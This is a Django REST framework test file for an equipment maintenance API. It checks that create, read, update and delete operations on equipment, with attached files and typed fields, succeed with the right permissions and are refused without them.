User = settings.AUTH_USER_MODEL
class EquipmentTests(TestCase):
@pytest.fixture(scope="class", autouse=True)
def init_database(django_db_setup, django_db_blocker):
with django_db_blocker.unblock():
init_db()
def setUp(self):
"""
Set up an equipment with a name and an equipment type with or without fields
"""
v = EquipmentType.objects.create(name="Voiture")
Equipment.objects.create(name="Peugeot Partner", equipment_type=v)
field_group = FieldGroup.objects.create(name="embouteilleuse", is_equipment=True)
embouteilleuse = EquipmentType.objects.create(name="embouteilleuse")
embouteilleuse.fields_groups.set([field_group])
Field.objects.create(name="Capacité", field_group=field_group)
Field.objects.create(name="Pression Normale", field_group=field_group)
marque = Field.objects.create(name="marque", field_group=field_group)
FieldValue.objects.create(value="Bosch", field=marque)
FieldValue.objects.create(value="Gai", field=marque)
field_group_temp = FieldGroup.objects.create(name="GroupeTest", is_equipment=False)
Field.objects.create(name="Toto", field_group=field_group_temp)
def temporary_file(self):
"""
Returns a new temporary image.
"""
file_obj = BytesIO()
image = Image.new('1', (60, 60), 1)
image.save(file_obj, 'png')
file_obj.seek(0)
return file_obj
def add_add_perm_file(self, user):
"""
Add add permission for file
"""
permission = Permission.objects.get(codename='add_file')
user.user_permissions.add(permission)
def add_view_perm(self, user):
"""
Add view permission to user
"""
perm_view = Permission.objects.get(codename="view_equipment")
user.user_permissions.set([perm_view])
def add_add_perm(self, user):
"""
Add add permission to user
"""
perm_add = Permission.objects.get(codename="add_equipment")
user.user_permissions.add(perm_add)
def add_change_perm(self, user):
"""
Add change permission to user
"""
perm_change = Permission.objects.get(codename="change_equipment")
user.user_permissions.set([perm_change])
def add_delete_perm(self, user):
"""
Add delete permission to user
"""
perm_delete = Permission.objects.get(codename="delete_equipment")
user.user_permissions.set([perm_delete])
def test_US4_I1_equipmentlist_get_with_perm(self):
"""
Test if a user with perm receive the equipments' list
Inputs:
user (UserProfile): a UserProfile with permissions to view equipments.
serializer (EquipmentListingSerializer): a serializer containing the data of all equipments.
Expected Output:
We expect a 200 status code in the response.
We expect to get in the response the same data as in serializer.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_view_perm(user)
equipments = Equipment.objects.all()
serializer = EquipmentListingSerializer(equipments, many=True)
c = APIClient()
c.force_authenticate(user=user)
response = c.get("/api/maintenancemanagement/equipments/")
self.assertEqual(response.status_code, 200)
self.assertEqual(serializer.data, response.json())
def test_US4_I1_equipmentlist_get_without_perm(self):
"""
Test if a user without perm doesn't receive the equipments' list
Inputs:
user (UserProfile): a UserProfile without permissions to view equipments.
Expected Output:
We expect a 401 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
c = APIClient()
c.force_authenticate(user=user)
response = c.get("/api/maintenancemanagement/equipments/")
self.assertEqual(response.status_code, 401)
def test_US4_I2_equipmentlist_post_with_perm(self):
"""
Test if a user with perm can add an equipment
Inputs:
user (UserProfile): a UserProfile with permissions to add equipments.
post data (JSON): a mock-up of an equipment.
Expected Output:
We expect a 201 status code in the response.
We expect to find the created equipment.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_add_perm(user)
c = APIClient()
c.force_authenticate(user=user)
response = c.post(
"/api/maintenancemanagement/equipments/", {
"name": "Renault Kangoo",
"equipment_type": EquipmentType.objects.get(name="Voiture").id
},
format='json'
)
self.assertEqual(response.status_code, 201)
self.assertTrue(Equipment.objects.get(name="Renault Kangoo"))
def test_US4_I2_equipmentlist_post_without_perm(self):
"""
Test if a user without perm can't add an equipment
Inputs:
user (UserProfile): a UserProfile without permissions to add equipments.
post data (JSON): a mock-up of an equipment.
Expected Output:
We expect a 401 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
c = APIClient()
c.force_authenticate(user=user)
response = c.post(
"/api/maintenancemanagement/equipments/", {
"name": "Renault Kangoo",
"equipment_type": EquipmentType.objects.get(name="Voiture").id
}
)
self.assertEqual(response.status_code, 401)
def test_US4_I3_equipmentdetail_get_with_perm(self):
"""
Test if a user with perm can receive the equipment data
Inputs:
user (UserProfile): a UserProfile with permissions to view equipments.
equipment (Equipment): the equipment for which we want details.
serializer (EquipmentDetailsSerializer): a serializer containing the data of equipment.
Expected Output:
We expect a 200 status code in the response.
We expect to get in the response the same data as in serializer.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_view_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Peugeot Partner")
serializer = EquipmentDetailsSerializer(equipment)
response = c.get("/api/maintenancemanagement/equipments/" + str(equipment.id) + "/")
self.assertEqual(response.status_code, 200)
self.assertEqual(serializer.data, response.json())
def test_US4_I3_equipmentdetail_get_non_existing_equipment_with_perm(self):
"""
Test if a user with perm can't receive an unavailable equipment data
Inputs:
user (UserProfile): a UserProfile with permissions to view equipments.
Expected Output:
We expect a 404 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_view_perm(user)
c = APIClient()
c.force_authenticate(user=user)
response = c.get("/api/maintenancemanagement/equipments/101548021/")
self.assertEqual(response.status_code, 404)
def test_US4_I3_equipmentdetail_get_without_perm(self):
"""
Test if a user without perm can't receive the equipment data
Inputs:
user (UserProfile): a UserProfile without permissions to view equipments.
Expected Output:
We expect a 401 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Peugeot Partner")
response = c.get("/api/maintenancemanagement/equipments/" + str(equipment.id) + "/")
self.assertEqual(response.status_code, 401)
def test_US4_I4_equipmentdetail_put_with_perm(self):
"""
Test if a user with perm can change an equipment
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
equipment (Equipment): the equipment that we want to update.
put data (JSON): a mock-up for an equipment.
Expected Output:
We expect a 200 status code in the response.
We expect to find the equipment after update.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Peugeot Partner")
response = c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {"name": "Renault Trafic"},
format='json'
)
self.assertEqual(response.status_code, 200)
self.assertTrue(Equipment.objects.get(name="Renault Trafic"))
def test_US4_I4_equipmentdetail_put_without_perm(self):
"""
Test if a user without perm can't change an equipment
Inputs:
user (UserProfile): a UserProfile without permissions to change equipments.
Expected Output:
We expect a 401 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Peugeot Partner")
response = c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {"name": "Renault Trafic"},
format='json'
)
self.assertEqual(response.status_code, 401)
def test_US4_I5_equipmentdetail_delete_with_perm(self):
"""
Test if a user with perm can delete an equipment
Inputs:
user (UserProfile): a UserProfile with permissions to delete equipments.
equipment (Equipment): the equipment we want to delete.
Expected Output:
We expect a 204 status code in the response.
We expect to not find the equipment after deletion.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_delete_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Peugeot Partner")
response = c.delete("/api/maintenancemanagement/equipments/" + str(equipment.id) + "/")
self.assertEqual(response.status_code, 204)
self.assertFalse(Equipment.objects.filter(id=equipment.id).exists())
def test_US4_I5_equipmentdetail_delete_non_existing_equipment_with_perm(self):
"""
Test if a user with perm can't delete an unavailable equipment
Inputs:
user (UserProfile): a UserProfile with permissions to delete equipments.
Expected Output:
We expect a 404 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_delete_perm(user)
c = APIClient()
c.force_authenticate(user=user)
response = c.delete("/api/maintenancemanagement/equipments/" + str(101548021) + "/")
self.assertEqual(response.status_code, 404)
def test_US4_I5_equipmentdetail_delete_without_perm(self):
"""
Test if a user without perm can't delete an equipment
Inputs:
user (UserProfile): a UserProfile without permissions to delete equipments.
Expected Output:
We expect a 401 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Peugeot Partner")
response = c.delete("/api/maintenancemanagement/equipments/" + str(equipment.id) + "/")
self.assertEqual(response.status_code, 401)
def test_US4_I8_equipmentrequirements_get_with_perm(self):
"""
Test if a user can get equipment types requirements with permission
Inputs:
user (UserProfile): a UserProfile with permissions to view equipments.
equipment_type_requirements_json (dict): a dict expected in the response.
Expected Output:
We expect a 200 status code in the response.
We expect to find equipment_type_requirements_json in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_add_perm(user)
client = APIClient()
client.force_authenticate(user=user)
response = client.get('/api/maintenancemanagement/equipments/requirements/')
equipment_type = EquipmentType.objects.get(name='EquipmentTypeTest')
field_without_value = Field.objects.get(name='FieldWithoutValueTest')
field_with_value = Field.objects.get(name='FieldWithValueTest')
equipment_type_requirements_json = {
'id':
equipment_type.id,
'name':
'EquipmentTypeTest',
'field':
[
{
'id': field_without_value.id,
'name': 'FieldWithoutValueTest',
'value': []
}, {
'id': field_with_value.id,
'name': 'FieldWithValueTest',
'value': ['FieldValueTest']
}
]
}
self.assertEqual(response.status_code, 200)
self.assertTrue(equipment_type_requirements_json in response.json())
def test_US4_I8_equipmentrequirements_get_without_perm(self):
"""
Test if a user can get equipment types requirements without permission
Inputs:
user (UserProfile): a UserProfile without permissions to view equipments.
Expected Output:
We expect a 401 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
client = APIClient()
client.force_authenticate(user=user)
response = client.get('/api/maintenancemanagement/equipments/requirements/')
self.assertEqual(response.status_code, 401)
def test_US7_I1_equipmentlist_post_with_file_with_perm(self):
"""
Test if a user with perm can add an equipment with a file
Inputs:
user (UserProfile): a UserProfile with permissions to add equipments.
post data (JSON): a mock-up of an equipment with a file.
Expected Output:
We expect a 201 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_add_perm_file(user)
self.add_add_perm(user)
c = APIClient()
c.force_authenticate(user=user)
data = {'file': self.temporary_file(), 'is_manual': 'False'}
response1 = c.post("/api/maintenancemanagement/files/", data, format='multipart')
pk = response1.data['id']
response = c.post(
"/api/maintenancemanagement/equipments/", {
"name": "Renault Kangoo",
"equipment_type": EquipmentType.objects.get(name="Voiture").id,
"files": [pk]
},
format='json'
)
self.assertEqual(response.status_code, 201)
def test_US7_I1_equipmentlist_post_with_file_without_perm(self):
"""
Test if a user without perm can't add an equipment with a file
Inputs:
user (UserProfile): a UserProfile without permissions to add equipments.
post data (JSON): a mock-up of an equipment with a file.
Expected Output:
We expect a 401 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_add_perm_file(user)
c = APIClient()
c.force_authenticate(user=user)
data = {'file': self.temporary_file(), 'is_manual': 'False'}
response1 = c.post("/api/maintenancemanagement/files/", data, format='multipart')
pk = response1.data['id']
response = c.post(
"/api/maintenancemanagement/equipments/", {
"name": "Renault Kangoo",
"equipment_type": EquipmentType.objects.get(name="Voiture").id,
"files": [pk]
},
format='json'
)
self.assertEqual(response.status_code, 401)
def test_US7_I1_equipmentlist_post_with_files_with_perm(self):
"""
Test if a user with perm can add an equipment with multiple files
Inputs:
user (UserProfile): a UserProfile with permissions to add equipments.
post data (JSON): a mock-up of an equipment with multiple file.
Expected Output:
We expect a 201 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_add_perm_file(user)
self.add_add_perm(user)
c = APIClient()
c.force_authenticate(user=user)
data = {'file': self.temporary_file(), 'is_manual': 'False'}
data2 = {'file': self.temporary_file(), 'is_manual': 'True'}
response1 = c.post("/api/maintenancemanagement/files/", data, format='multipart')
response2 = c.post("/api/maintenancemanagement/files/", data2, format='multipart')
pk_1 = response1.data['id']
pk_2 = response2.data['id']
response = c.post(
"/api/maintenancemanagement/equipments/", {
"name": "Renault Kangoo",
"equipment_type": EquipmentType.objects.get(name="Voiture").id,
"files": [pk_1, pk_2]
},
format='json'
)
self.assertEqual(response.status_code, 201)
def test_US7_I1_equipmentlist_post_with_files_without_perm(self):
"""
Test if a user without perm can't add an equipment with multiple files
Inputs:
user (UserProfile): a UserProfile without permissions to add equipments.
post data (JSON): a mock-up of an equipment with a file.
Expected Output:
We expect a 401 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_add_perm_file(user)
c = APIClient()
c.force_authenticate(user=user)
data = {'file': self.temporary_file(), 'is_manual': 'False'}
data2 = {'file': self.temporary_file(), 'is_manual': 'True'}
response1 = c.post("/api/maintenancemanagement/files/", data, format='multipart')
response2 = c.post("/api/maintenancemanagement/files/", data2, format='multipart')
pk_1 = response1.data['id']
pk_2 = response2.data['id']
response = c.post(
"/api/maintenancemanagement/equipments/", {
"name": "Renault Kangoo",
"equipment_type": EquipmentType.objects.get(name="Voiture").id,
"files": [pk_1, pk_2]
},
format='json'
)
self.assertEqual(response.status_code, 401)
def test_US7_I2_equipmentdetail_get_with_file_with_perm(self):
"""
Test if a user with perm can receive the equipment data with a file
Inputs:
user (UserProfile): a UserProfile with permissions to view equipments.
equipment (Equipment): the equipment with file for which we want details.
serializer (EquipmentDetailsSerializer): a serializer containing the data of equipment.
Expected Output:
We expect a 200 status code in the response.
We expect to get in the response the same data as in serializer.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_view_perm(user)
self.add_add_perm(user)
self.add_add_perm_file(user)
c = APIClient()
c.force_authenticate(user=user)
data = {'file': self.temporary_file(), 'is_manual': 'False'}
response1 = c.post("/api/maintenancemanagement/files/", data, format='multipart')
pk = response1.data['id']
c.post(
"/api/maintenancemanagement/equipments/", {
"name": "Renault Kangoo",
"equipment_type": EquipmentType.objects.get(name="Voiture").id,
"files": [pk]
},
format='json'
)
equipment = Equipment.objects.get(name="Renault Kangoo")
serializer = EquipmentDetailsSerializer(equipment)
response = c.get("/api/maintenancemanagement/equipments/" + str(equipment.id) + "/")
self.assertEqual(response.status_code, 200)
self.assertEqual(serializer.data, response.json())
def test_US7_I2_equipmentdetail_get_with_file_without_perm(self):
"""
Test if a user without perm can't receive the equipment data with a file
Inputs:
user (UserProfile): a UserProfile without permissions to view equipments.
equipment (Equipment): the equipment with file for which we want details.
Expected Output:
We expect a 401 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_add_perm(user)
self.add_add_perm_file(user)
c = APIClient()
c.force_authenticate(user=user)
data = {'file': self.temporary_file(), 'is_manual': 'False'}
response1 = c.post("/api/maintenancemanagement/files/", data, format='multipart')
pk = response1.data['id']
c.post(
"/api/maintenancemanagement/equipments/", {
"name": "Renault Kangoo",
"equipment_type": EquipmentType.objects.get(name="Voiture").id,
"files": [pk]
},
format='json'
)
equipment = Equipment.objects.get(name="Renault Kangoo")
response = c.get("/api/maintenancemanagement/equipments/" + str(equipment.id) + "/")
self.assertEqual(response.status_code, 401)
def test_US7_I2_equipmentdetail_get_with_files_with_perm(self):
"""
Test if a user with perm can receive the equipment data with multiple files
Inputs:
user (UserProfile): a UserProfile with permissions to view equipments.
equipment (Equipment): the equipment with files for which we want details.
serializer (EquipmentDetailsSerializer): a serializer containing the data of equipment.
Expected Output:
We expect a 200 status code in the response.
We expect to get in the response the same data as in serializer.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_view_perm(user)
self.add_add_perm(user)
self.add_add_perm_file(user)
c = APIClient()
c.force_authenticate(user=user)
data = {'file': self.temporary_file(), 'is_manual': 'False'}
data2 = {'file': self.temporary_file(), 'is_manual': 'True'}
response1 = c.post("/api/maintenancemanagement/files/", data, format='multipart')
response2 = c.post("/api/maintenancemanagement/files/", data2, format='multipart')
pk_1 = response1.data['id']
pk_2 = response2.data['id']
c.post(
"/api/maintenancemanagement/equipments/", {
"name": "Renault Kangoo",
"equipment_type": EquipmentType.objects.get(name="Voiture").id,
"files": [pk_1, pk_2]
},
format='json'
)
equipment = Equipment.objects.get(name="Renault Kangoo")
serializer = EquipmentDetailsSerializer(equipment)
response = c.get("/api/maintenancemanagement/equipments/" + str(equipment.id) + "/")
self.assertEqual(response.status_code, 200)
self.assertEqual(serializer.data, response.json())
def test_US7_I2_equipmentdetail_get_with_files_without_perm(self):
"""
Test if a user without perm can't receive the equipment data with multiple files
Inputs:
user (UserProfile): a UserProfile without permissions to view equipments.
equipment (Equipment): the equipment with file for which we want details.
Expected Output:
We expect a 401 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_add_perm(user)
self.add_add_perm_file(user)
c = APIClient()
c.force_authenticate(user=user)
data = {'file': self.temporary_file(), 'is_manual': 'False'}
data2 = {'file': self.temporary_file(), 'is_manual': 'True'}
response1 = c.post("/api/maintenancemanagement/files/", data, format='multipart')
pk_1 = response1.data['id']
response2 = c.post("/api/maintenancemanagement/files/", data2, format='multipart')
pk_2 = response2.data['id']
c.post(
"/api/maintenancemanagement/equipments/", {
"name": "Renault Kangoo",
"equipment_type": EquipmentType.objects.get(name="Voiture").id,
"files": [pk_1, pk_2]
},
format='json'
)
equipment = Equipment.objects.get(name="Renault Kangoo")
response = c.get("/api/maintenancemanagement/equipments/" + str(equipment.id) + "/")
self.assertEqual(response.status_code, 401)
def test_US21_I1_equipmentlist_post_with_all_fields_with_perm(self):
"""
Test if a user with perm can add an equipment with fields from equipment type
Inputs:
user (UserProfile): a UserProfile with permissions to add equipments.
post data (JSON): a mock-up of an equipment with fields.
Expected Output:
We expect a 201 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_add_perm_file(user)
self.add_add_perm(user)
c = APIClient()
c.force_authenticate(user=user)
response = c.post(
"/api/maintenancemanagement/equipments/", {
"name":
"Embouteilleuse AXB1",
"equipment_type":
EquipmentType.objects.get(name="embouteilleuse").id,
"field":
[
{
"field": Field.objects.get(name="Capacité").id,
"value": "60000",
"description": "Nb de bouteilles par h"
}, {
"field": Field.objects.get(name="Pression Normale").id,
"value": "5 bars"
}, {
"field": Field.objects.get(name="marque").id,
"value": "Gai"
}
]
},
format='json'
)
self.assertEqual(response.status_code, 201)
def test_US21_I1_equipmentlist_post_with_missing_fields_with_perm(self):
"""
Test if a user with perm can add an equipment with some missing fields
Inputs:
user (UserProfile): a UserProfile with permissions to add equipments.
post data (JSON): a mock-up of an equipment with missing fields.
Expected Output:
We expect a 400 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_add_perm_file(user)
self.add_add_perm(user)
c = APIClient()
c.force_authenticate(user=user)
response = c.post(
"/api/maintenancemanagement/equipments/", {
"name":
"Embouteilleuse AXB1",
"equipment_type":
EquipmentType.objects.get(name="embouteilleuse").id,
"field":
[
{
"field": Field.objects.get(name="Capacité").id,
"value": "60000",
"description": "Nb de bouteilles par h"
}, {
"field": Field.objects.get(name="marque").id,
"value": "Gai"
}
]
},
format='json'
)
self.assertEqual(response.status_code, 400)
def test_US21_I1_equipmentlist_post_without_value_with_perm(self):
"""
Test if a user with perm can add an equipment with some bad fields
Inputs:
user (UserProfile): a UserProfile with permissions to add equipments.
post data (JSON): a mock-up of an equipment with fields without value.
Expected Output:
We expect a 400 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_add_perm_file(user)
self.add_add_perm(user)
c = APIClient()
c.force_authenticate(user=user)
response = c.post(
"/api/maintenancemanagement/equipments/", {
"name":
"Embouteilleuse AXB1",
"equipment_type":
EquipmentType.objects.get(name="embouteilleuse").id,
"fields":
[
{
"field": Field.objects.get(name="Capacité").id,
"value": "60000",
"description": "Nb de bouteilles par h"
}, {
"field": Field.objects.get(name="Pression Normale").id
}, {
"field": Field.objects.get(name="marque").id,
"value": "Gai"
}
]
},
format='json'
)
self.assertEqual(response.status_code, 400)
def test_US21_I1_equipmentlist_post_with_bad_field_value_with_perm(self):
"""
Test if a user with perm can add an equipment with some bad fields
Inputs:
user (UserProfile): a UserProfile with permissions to add equipments.
post data (JSON): a mock-up of an equipment with fields without field value.
Expected Output:
We expect a 400 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_add_perm_file(user)
self.add_add_perm(user)
c = APIClient()
c.force_authenticate(user=user)
response = c.post(
"/api/maintenancemanagement/equipments/", {
"name":
"Embouteilleuse AXB1",
"equipment_type":
EquipmentType.objects.get(name="embouteilleuse").id,
"fields":
[
{
"field": Field.objects.get(name="Capacité").id,
"value": "60000",
"description": "Nb de bouteilles par h"
}, {
"field": Field.objects.get(name="Pression Normale").id,
"value": "5 bars"
}, {
"field": Field.objects.get(name="marque").id,
"value": "WRONG_FIELD_VALUE"
}
]
},
format='json'
)
self.assertEqual(response.status_code, 400)
def test_US21_I1_equipmentlist_post_with_extra_fields_with_perm(self):
"""
Test if a user with perm can add an equipment with fields from equipment type
Inputs:
user (UserProfile): a UserProfile with permissions to add equipments.
post data (JSON): a mock-up of an equipment with extra fields.
Expected Output:
We expect a 201 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_add_perm_file(user)
self.add_add_perm(user)
c = APIClient()
c.force_authenticate(user=user)
response = c.post(
"/api/maintenancemanagement/equipments/", {
"name":
"Embouteilleuse AXB1",
"equipment_type":
EquipmentType.objects.get(name="embouteilleuse").id,
"field":
[
{
"field": Field.objects.get(name="Capacité").id,
"name": "Capacité",
"value": "60000",
"description": "Nb de bouteilles par h"
}, {
"field": Field.objects.get(name="Pression Normale").id,
"value": "5 bars",
"name": "Pression Normale"
}, {
"field": Field.objects.get(name="marque").id,
"value": "Gai",
"name": "marque"
}, {
"field": Field.objects.get(name="Toto").id,
"value": "EXTRA_FIELD",
"name": "Toto"
}
]
},
format='json'
)
self.assertEqual(response.status_code, 201)
def test_US21_I2_equipmentdetails_put_with_all_fields_with_perm(self):
"""
Test if a user with perm can update an equipment with fields from equipment type
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated.
serializer (EquipmentDetailsSerializer): a serializer containing the data of the updated equipment.
Expected Output:
We expect a 200 status code in the response.
We expect to get in the response the same data as in serializer.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
capacite = Field.objects.get(name="Nb bouteilles")
pression = Field.objects.get(name="Pression")
marque = Field.objects.get(name="Marque")
response = c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name":
"Embouteilleuse AXB7",
"equipment_type":
EquipmentType.objects.get(name="Embouteilleuse").id,
"field":
[
{
"id": FieldObject.objects.get(field=capacite).id,
"field": capacite.id,
"value": "80000",
"description": "Nb de bouteilles par h"
}, {
"id": FieldObject.objects.get(field=pression).id,
"field": pression.id,
"value": "3 bars"
}, {
"id": FieldObject.objects.get(field=marque).id,
"field": marque.id,
"field_value":
{
"id": FieldValue.objects.get(value="BOSH").id,
"value": "BOSH",
"field": marque.id
}
}
]
},
format='json'
)
self.assertEqual(response.status_code, 200)
equipment = Equipment.objects.get(name="Embouteilleuse AXB7")
serializer = EquipmentDetailsSerializer(equipment)
self.assertEqual(serializer.data, response.json())
def test_US21_I2_equipmentdetails_put_non_existent_equipment_with_perm(self):
"""
Test if a user with perm can't update an unavailable equipment
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
Expected Output:
We expect a 404 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
response = c.put(
"/api/maintenancemanagement/equipments/101548021/", {"name": "Embouteilleuse AXB7"}, format='json'
)
self.assertEqual(response.status_code, 404)
def test_US21_I2_equipmentdetails_put_without_perm(self):
"""
Test if a user without perm can't update an equipment with fields from equipment type
Inputs:
user (UserProfile): a UserProfile without permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated.
Expected Output:
We expect a 401 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
capacite = Field.objects.get(name="Nb bouteilles")
pression = Field.objects.get(name="Pression")
marque = Field.objects.get(name="Marque")
response = c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name":
"Embouteilleuse AXB7",
"equipment_type":
EquipmentType.objects.get(name="Embouteilleuse").id,
"field":
[
{
"id": FieldObject.objects.get(field=capacite).id,
"field": capacite.id,
"value": "80000",
"description": "Nb de bouteilles par h"
}, {
"id": FieldObject.objects.get(field=pression).id,
"field": pression.id,
"value": "3 bars"
}, {
"id": FieldObject.objects.get(field=marque).id,
"field": marque.id,
"field_value":
{
"id": FieldValue.objects.get(value="BOSH").id,
"value": "BOSH",
"field": marque.id
}
}
]
},
format='json'
)
self.assertEqual(response.status_code, 401)
def test_US21_I2_equipmentdetails_put_with_some_fields_with_perm(self):
"""
Test if a user with perm can update an equipment with fields from equipment type
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated with only some fields.
serializer (EquipmentDetailsSerializer): a serializer containing the data of the updated equipment.
Expected Output:
We expect a 200 status code in the response.
We expect to get in the response the same data as in serializer.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
capacite = Field.objects.get(name="Nb bouteilles")
pression = Field.objects.get(name="Pression")
marque = Field.objects.get(name="Marque")
response = c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name":
"Embouteilleuse AXB7",
"equipment_type":
EquipmentType.objects.get(name="Embouteilleuse").id,
"field":
[
{
"id": FieldObject.objects.get(field=capacite).id,
"field": capacite.id,
"value": "80000",
"description": "Nb de bouteilles par h"
}, {
"id": FieldObject.objects.get(field=pression).id,
"field": pression.id,
"value": "3 bars"
}
]
},
format='json'
)
self.assertEqual(response.status_code, 200)
equipment = Equipment.objects.get(name="Embouteilleuse AXB7")
serializer = EquipmentDetailsSerializer(equipment)
self.assertEqual(serializer.data, response.json())
def test_US21_I2_equipmentdetails_put_with_wrong_fields_with_perm(self):
"""
Test if a user with perm can update an equipment with fields from equipment type
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated with wrong values.
Expected Output:
We expect a 400 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
capacite = Field.objects.get(name="Nb bouteilles")
pression = Field.objects.get(name="Pression")
response = c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name":
"Embouteilleuse AXB7",
"equipment_type":
EquipmentType.objects.get(name="Embouteilleuse").id,
"field":
[
{
"id": -1,
"field": capacite.id,
"value": "80000",
"description": "Nb de bouteilles par h"
}, {
"id": FieldObject.objects.get(field=pression).id,
"field": pression.id,
"value": "3 bars"
}
]
},
format='json'
)
self.assertEqual(response.status_code, 400)
def test_US21_I2_equipmentdetails_put_with_wrong_fieldvalues_with_perm(self):
"""
Test if a user with perm can update an equipment with fields from equipment type
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated with wrong field values.
Expected Output:
We expect a 400 status code in the response.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
capacite = Field.objects.get(name="Nb bouteilles")
pression = Field.objects.get(name="Pression")
marque = Field.objects.get(name="Marque")
response = c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name":
"Embouteilleuse AXB7",
"equipment_type":
EquipmentType.objects.get(name="Embouteilleuse").id,
"field":
[
{
"id": FieldObject.objects.get(field=capacite).id,
"field": capacite.id,
"value": "80000",
"description": "Nb de bouteilles par h"
}, {
"id": FieldObject.objects.get(field=pression).id,
"field": pression.id,
"value": "3 bars"
}, {
"id": FieldObject.objects.get(field=marque).id,
"field": marque.id,
"field_value": {
"id": -1,
"value": "Audi",
"field": marque.id
}
}
]
},
format='json'
)
self.assertEqual(response.status_code, 400)
def test_US21_I2_equipmentdetails_put_with_new_fields_with_perm(self):
"""
Test if a user with perm can update an equipment with fields from equipment type.
Inputs:
user (UserProfile): a UserProfile with permissions to change equipments.
put data (JSON): a mock-up of an equipment to be updated with new fields.
serializer (EquipmentDetailsSerializer): a serializer containing the data of the updated equipment.
Expected Output:
We expect a 200 status code in the response.
We expect to get in the response the same data as in serializer.
"""
user = UserProfile.objects.create(username="user", password="p4ssword")
self.add_change_perm(user)
c = APIClient()
c.force_authenticate(user=user)
equipment = Equipment.objects.get(name="Embouteilleuse AXB1")
pression = Field.objects.get(name="Pression")
marque = Field.objects.get(name="Marque")
response = c.put(
"/api/maintenancemanagement/equipments/" + str(equipment.id) + "/", {
"name":
"Embouteilleuse AXB7",
"equipment_type":
EquipmentType.objects.get(name="Embouteilleuse").id,
"field":
[
{
"id": FieldObject.objects.get(field=pression).id,
"field": pression.id,
"value": "3 bars"
}, {
"id": FieldObject.objects.get(field=marque).id,
"field": marque.id,
"field_value":
{
"id": FieldValue.objects.get(value="BOSH").id,
"value": "BOSH",
"field": marque.id
}
}, {
"name": "NewField",
"value": "42",
"description": "Il s'agit d'un nouveau Field"
}
]
},
format='json'
)
self.assertEqual(response.status_code, 200)
equipment = Equipment.objects.get(name="Embouteilleuse AXB7")
serializer = EquipmentDetailsSerializer(equipment)
self.assertEqual(serializer.data, response.json())
